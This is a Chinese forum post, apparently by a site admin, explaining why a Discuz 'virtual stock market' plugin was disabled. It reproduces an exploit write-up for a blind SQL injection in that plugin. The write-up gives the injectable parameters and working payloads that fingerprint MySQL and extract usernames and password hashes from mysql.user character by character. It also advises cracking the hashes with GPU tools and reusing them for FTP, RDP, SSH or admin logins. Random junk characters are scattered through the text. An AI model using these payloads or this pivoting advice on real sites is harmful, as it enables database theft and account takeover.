TA的每日心情 | 奋斗 7 小时前 |
---|
签到天数: 2384 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。
: i* P; b0 I+ z4 M% q
, e+ [& V' D1 q5 Z4 U' b! S我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。- C/ _( y; b& z6 J! y3 R0 R* {
# h9 E& O+ c, C/ |漏洞如下:1 h; Y6 R+ K6 N
% s, F. v) @* s' n/ I, z* I) h
Discuz插件《虚拟股市》blind Injection Vul利用 2 n: a8 N( q5 U) t: n) z
. \+ P0 _" o7 |) ~0 }4 t' }1 @
, m# g. C6 `5 d' ?7 Z2 P5 j漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。 , U9 [) d* C& i. ?, M
经过简单的测试,就发现了《虚拟股市》存在注射漏洞: - I9 Z0 t/ \% z1 B, {: q
http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数
. J1 f+ ~. ~& d6 p8 m; H3 rhttp://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数
2 o! G. }( M. R# [确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。 ; B8 s; F" t5 c6 N+ P
思路有二:
4 A; w; L7 W* R: g* ?1.尝试盲注
! ?. B' A0 |( d0 N4 x- a2 u2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数 9 j$ ?( s: f( X" }+ T7 m
但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。 / X9 h2 W! w# [* y# V- ?) V
盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下: 6 D: j/ Q9 }: X0 K# E! }% q
#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4 . L e0 \/ C0 U4 D' U2 W6 y \
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5 , w8 s) b* L5 C7 Y8 ]* v* V/ u8 t
#是否支持子查询(版本为4的情况下)
! i; C9 o ^) U! ]9 H/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1
) z1 D" q" _0 ?" Z0 R#当前用户是否为root
8 r, X# M3 B+ ]/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1
" D. j: ^3 Q5 N9 q下面就根据情况而异了: % l2 J' Y6 ~! A- f7 v' Q& o
1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。 " R; M0 k; {! o) H! t( k# J; w
2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。 - m0 C' x. [; `
#######取数据
' C; j& O! b: r3 L4 ?#mysql.user表第一行第一个字符的ASCII值是否大于80 T! A/ j! L- r8 H! t5 [
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80
1 }# H# u) x% p0 ?+ a#第二个字符的ASCII值是否大于90
1 a3 S; g" @! S( G# jand ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90
/ b8 u- v2 E M5 E/ Z# g…………
T6 ~4 g. N- ]. k就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。
W9 x7 b3 p, _9 {密码破解:
N! o+ ?- S% @7 @; p* A3 y" l1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。 9 ?/ l! U3 |) M( R6 k
2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|